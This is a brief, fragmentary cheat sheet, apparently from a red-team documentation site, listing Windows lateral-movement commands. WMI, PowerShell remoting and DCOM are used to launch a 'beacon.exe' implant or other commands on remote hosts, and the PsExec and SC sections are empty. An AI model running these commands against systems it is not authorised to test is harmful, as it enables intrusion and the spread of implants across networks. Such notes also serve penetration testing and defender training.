Lateral Movement
WMI
#return value of 0 = successful
wmic process call create beacon.exe
Invoke-WMIMethod -Class win32_process -Name create -ArgumentList beacon.exe PsRemote
Enter-PSSession 192.168.1.2
Invoke-Command -ScriptBlock {whoami} -ComputerName 192.168.1.2DCOM
Invoke-DCOM -ComputerName "192.168.1.1" -Method MMC20.Application -Command "Notepad.exe"PsExec
SC
Last updated